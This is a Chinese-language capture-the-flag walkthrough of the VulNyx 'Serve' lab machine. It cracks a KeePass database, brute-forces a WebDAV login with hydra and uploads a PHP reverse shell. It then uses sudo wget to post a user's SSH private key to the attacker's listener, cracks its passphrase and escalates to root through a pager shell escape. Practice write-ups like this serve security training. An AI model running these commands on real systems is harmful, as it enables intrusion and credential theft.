靶场练习-vulnyx：Serve - Easy - VulNyx - 靶场练习 | 🎐清风. = 劈开深海，填入我的山🍂

# 靶场搭建

下载：Serve

Nat，IP： 192.168.1.147

	PORT STATE SERVICE VERSION
	22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
	\| ssh-hostkey:
	\| 2048 9a:0c:75:5a:bb:bb:06:a2:9a:7d:be:91:ca:45:45:e4 (RSA)
	\| 256 07:7d:e7:0f:0b:5e:5a:90:e9:33:72:68:49:3b:f5:8c (ECDSA)
	\|_ 256 6c:15:32:a7:42:e7:9f:da:63:66:7d:3a:be:fb:bf:14 (ED25519)
	80/tcp open http Apache httpd 2.4.38 ((Debian))
	\|_http-title: Apache2 Debian Default Page: It works
	\|_http-server-header: Apache/2.4.38 (Debian)

目录收集

notes.txt：

	Hi teo,

	the database with your credentials to access the resource are in the secret directory
	(Don't forget to change X to your employee number)

	regards

	IT department

去找这个 keepass 的数据库

	┌──(root㉿kali)-[~/Downloads]
	└─# keepass2john db.kdbx > db.hash

	┌──(root㉿kali)-[~/Downloads]
	└─# john db.hash --wordlist=/usr/share/wordlists/rockyou.txt
	Using default input encoding: UTF-8
	Loaded 1 password hash (KeePass [SHA256 AES 32/64])
	Cost 1 (iteration count) is 60000 for all loaded hashes
	Cost 2 (version) is 2 for all loaded hashes
	Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
	Will run 4 OpenMP threads
	Press 'q' or Ctrl-C to abort, almost any other key for status
	dreams (db)
	1g 0:00:00:05 DONE (2024-05-23 09:26) 0.1709g/s 112.1p/s 112.1c/s 112.1C/s sunshine1..sweetpea
	Use the "--show" option to display all of the cracked passwords reliably
	Session completed.

安装 keepass2 查看密码： admin/w3bd4vXXX

XXX 三位未知，枚举一下

	┌──(root㉿kali)-[~/Downloads]
	└─# crunch 9 9 -t w3bd4v%%% -o dic_teo.txt
	Crunch will now generate the following amount of data: 10000 bytes
	0 MB
	0 GB
	0 TB
	0 PB
	Crunch will now generate the following number of lines: 1000

	crunch: 100% completed generating output

	┌──(root㉿kali)-[~/Downloads]
	└─# hydra -l admin -P dic_teo.txt -f 192.168.1.147 http-get /webdav -v -I
	Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

	Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-23 09:51:27
	[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000 login tries (l:1/p:1000), ~63 tries per task
	[DATA] attacking http-get://192.168.1.147:80/webdav
	[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
	[80][http-get] host: 192.168.1.147 login: admin password: w3bd4v513
	[STATUS] attack finished for 192.168.1.147 (valid pair found)
	1 of 1 target successfully completed, 1 valid password found
	Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-23 09:51:32

密码： w3bd4v513

上传 shell：

	┌──(root㉿kali)-[~]
	└─# curl -X PUT --upload-file shell.php http://192.168.1.147/webdav/ --digest -u admin:w3bd4v513
	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>201 Created</title>
	</head><body>
	<h1>Created</h1>
	<p>Resource /webdav/shell.php has been created.</p>
	<hr />
	<address>Apache/2.4.38 (Debian) Server at 192.168.1.147 Port 80</address>
	</body></html>

访问： http://192.168.1.147/webdav/shell.php

拿到反弹 shell

sudo -l 发现有 wget，sudo 提权提不上来，把 id_rsa 发送出去

nc 监听一下，发送： sudo -u teo /usr/bin/wget --post-file=/home/teo/.ssh/id_rsa 192.168.1.129:6666

破解一下 passphrase

	┌──(root㉿kali)-[~]
	└─# ssh2john id > id_rsa.hash

	┌──(root㉿kali)-[~]
	└─# john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
	Using default input encoding: UTF-8
	Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
	Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
	Cost 2 (iteration count) is 2 for all loaded hashes
	Will run 4 OpenMP threads
	Press 'q' or Ctrl-C to abort, almost any other key for status
	private (id)
	1g 0:00:00:00 DONE (2024-05-23 09:59) 50.00g/s 100800p/s 100800c/s 100800C/s melinda..jesusfreak
	Use the "--show" option to display all of the cracked passwords reliably
	Session completed.

拿到了 passphrase： private

连上去， sudo -l 发现有一个 bro，运行一下试试，发现说明跟了一个 curl

那么跑一下： sudo /usr/local/bin/bro curl

运行后发现出现了 : ，果断跟上 !/bin/bash

拿到了 root 权限